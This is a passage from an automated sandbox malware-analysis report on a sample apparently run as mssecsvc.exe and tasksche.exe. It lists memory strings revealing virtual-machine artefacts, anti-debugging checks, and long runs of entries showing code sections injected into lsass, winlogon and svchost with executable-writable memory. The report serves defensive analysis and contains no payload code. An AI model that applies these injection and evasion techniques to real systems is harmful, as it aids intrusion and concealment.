              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: *@vmicheartbeat-block-in
              Source: svchost.exe, 0000001A.00000000.304592712.000001B8BFC49000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicheartbeat-allow-out
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@Allow inbound TCP port 389 traffic for vmicheartbeat
              Source: svchost.exe, 00000011.00000000.291195957.0000025CB586C000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: vmicheartbeat
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@vmicvss-block-in
              Source: lsass.exe, 0000000C.00000002.789525962.00000240B2694000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicvssNT SERVICE
              Source: svchost.exe, 00000020.00000002.802484790.00000247D36B5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Allow inbound TCP port 636 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: &@vmicheartbeat
              Source: svchost.exe, 00000020.00000000.364653488.00000247D3000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Allow outbound TCP traffic for vmicheartbeat
              Source: dwm.exe, 0000001B.00000000.309870245.000002C6305D0000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\5&1EC51BF7&0&000000Y
              Source: svchost.exe, 00000011.00000002.794180667.0000025CB5036000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@vmicshutdown
              Source: svchost.exe, 00000020.00000000.364653488.00000247D3000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: (@Block any inbound traffic for vmicshutdown
              Source: svchost.exe, 00000026.00000002.795428662.0000024ADF000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: VMwareVirtual disk2.0NULLSCSI0PCI\VEN_1000&DEV_0054&SUBSYS_197615AD&REV_01\4&2509f6e&0&00A8
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@Block any outbound traffic for vmicvss
              Source: lsass.exe, 0000000C.00000000.278772863.00000240B2613000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.785290140.00000240B2613000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.275100899.00000240B2613000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000010.00000002.784568123.0000029EDCC3C000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000012.00000002.785946238.0000027392843000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000013.00000002.784906978.000002447E227000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 0000001F.00000002.784401813.000002C301E2D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000001F.00000000.359523868.000002C301E2D000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000002.790175231.00000247D1CB5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000020.00000000.363179217.00000247D1CB5000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000022.00000000.376349607.000002418A63F000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
              Source: lsass.exe, 0000000C.00000002.789525962.00000240B2694000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicshutdownNT SERVICE
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@vmicvss-block-out
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: "@vmicshutdown-block-in
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicheartbeat-allow-in-2
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@Allow inbound TCP port 636 traffic for vmicheartbeat
              Source: svchost.exe, 0000001C.00000002.667191225.000001BAE2C62000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: @Hyper-V RAW
              Source: svchost.exe, 00000011.00000002.794180667.0000025CB5036000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@vmicheartbeat
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@vmicheartbeat
              Source: svchost.exe, 00000026.00000000.401003421.0000024ADE443000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.787402744.0000024ADE443000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $Microsoft-Windows-Hyper-V-Hypervisor
              Source: svchost.exe, 00000010.00000002.781562836.0000029EDCC02000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HvHostWdiSystemHostScDeviceEnumWiaRpctrkwksAudioEndpointBuilderhidservdot3svcDsSvcfhsvcWPDBusEnumsvsvcwlansvcEmbeddedModeirmonSensorServicevmicvssNgcSvcsysmainDevQueryBrokerStorSvcvmickvpexchangevmicshutdownvmicguestinterfacevmicvmsessionNcbServiceNetmanDeviceAssociationServiceTabletInputServicePcaSvcIPxlatCfgSvcCscServiceUmRdpService
              Source: svchost.exe, 00000026.00000000.401003421.0000024ADE443000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000026.00000002.787402744.0000024ADE443000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: $@Microsoft-Windows-Hyper-V-Hypervisor
              Source: lsass.exe, 0000000C.00000002.789525962.00000240B2694000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: pvmicheartbeatNT SERVICE
              Source: mssecsvc.exeBinary or memory string: \Device\HarddiskVolume2\Windows\System32\catroot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Hyper-V-Guest-Integration-Driver
              Source: svchost.exe, 00000020.00000002.802484790.00000247D36B5000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @Allow inbound TCP port 389 traffic for vmicheartbeatLMEMp
              Source: svchost.exe, 00000020.00000000.364703961.00000247D3009000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: .@Block any other outbound traffic for vmicheartbeat
              Source: lsass.exe, 0000000C.00000000.275241667.00000240B2669000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000000.279024919.00000240B2669000.00000004.00000001.00020000.00000000.sdmp, lsass.exe, 0000000C.00000002.788221493.00000240B2669000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: Hyper-V Adm B
              Source: svchost.exe, 00000026.00000003.670991397.0000024ADF743000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: nonicVMware Virtual disk 2.0 NULL
              Source: svchost.exe, 00000011.00000002.794180667.0000025CB5036000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: @vmicheartbeat
              Source: svchost.exe, 00000020.00000000.364653488.00000247D3000000.00000004.00000001.00020000.00000000.sdmpBinary or memory string: ,@Block any outbound traffic for vmicshutdown
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC3D36 LoadLibraryA,GetProcAddress,LoadLibraryA,GetTickCount,GetVolumeInformationA,GetModuleFileNameA,wsprintfA,CreateThread,CloseHandle,CreateThread,CloseHandle,CreateEventA,socket,connect,GetVersionExA,wsprintfA,CreateThread,CloseHandle,GetTickCount,4_2_00AC3D36
              Source: C:\Windows\tasksche.exeCode function: 29_2_004029CC free,GetProcessHeap,HeapFree,29_2_004029CC
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A71A02 rdtsc 4_2_00A71A02
              Source: C:\Windows\mssecsvc.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\mssecsvc.exeProcess token adjusted: DebugJump to behavior
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00A71971 mov edx, dword ptr fs:[00000030h]4_2_00A71971
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC05F2 mov eax, dword ptr fs:[00000030h]4_2_00AC05F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC042D mov eax, dword ptr fs:[00000030h]4_2_00AC042D
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_00AC025E mov edx, dword ptr fs:[00000030h]4_2_00AC025E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA05F2 mov eax, dword ptr fs:[00000030h]4_2_7FEA05F2
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA025E mov edx, dword ptr fs:[00000030h]4_2_7FEA025E
              Source: C:\Windows\mssecsvc.exeCode function: 4_2_7FEA042D mov eax, dword ptr fs:[00000030h]4_2_7FEA042D
              Source: C:\Windows\mssecsvc.exeCode function: 7_2_00A71971 mov edx, dword ptr fs:[00000030h]7_2_00A71971
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00A71971 mov edx, dword ptr fs:[00000030h]10_2_00A71971
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B005F2 mov eax, dword ptr fs:[00000030h]10_2_00B005F2
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B0042D mov eax, dword ptr fs:[00000030h]10_2_00B0042D
              Source: C:\Windows\mssecsvc.exeCode function: 10_2_00B0025E mov edx, dword ptr fs:[00000030h]10_2_00B0025E
              Source: C:\Windows\mssecsvc.exeProcess queried: DebugPortJump to behavior

              HIPS / PFW / Operating System Protection Evasion

              barindex
              Maps a DLL or memory area into another process
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\winlogon.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\lsass.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\dwm.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\mdatVt target: unknown protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\qygtVt target: C:\Windows\System32\winlogon.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\qygtVt target: C:\Windows\System32\lsass.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\qygtVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\qygtVt target: C:\Windows\System32\fontdrvhost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\qygtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\qygtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\qygtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\qygtVt target: C:\Windows\System32\svchost.exe protection: execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeSection loaded: \BaseNamedObjects\qygtVt target: C:\Windows\System32\dwm.exe protection: execute and read and writeJump to behavior
              Changes memory attributes in foreign processes to executable or writable
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9670 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9A50 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E9830 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA040 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773E99D0 protect: page execute and read and writeJump to behavior
              Source: C:\Windows\mssecsvc.exeMemory protected: unknown base: 773EA120 protect: page execute and read and writeJump to behavior
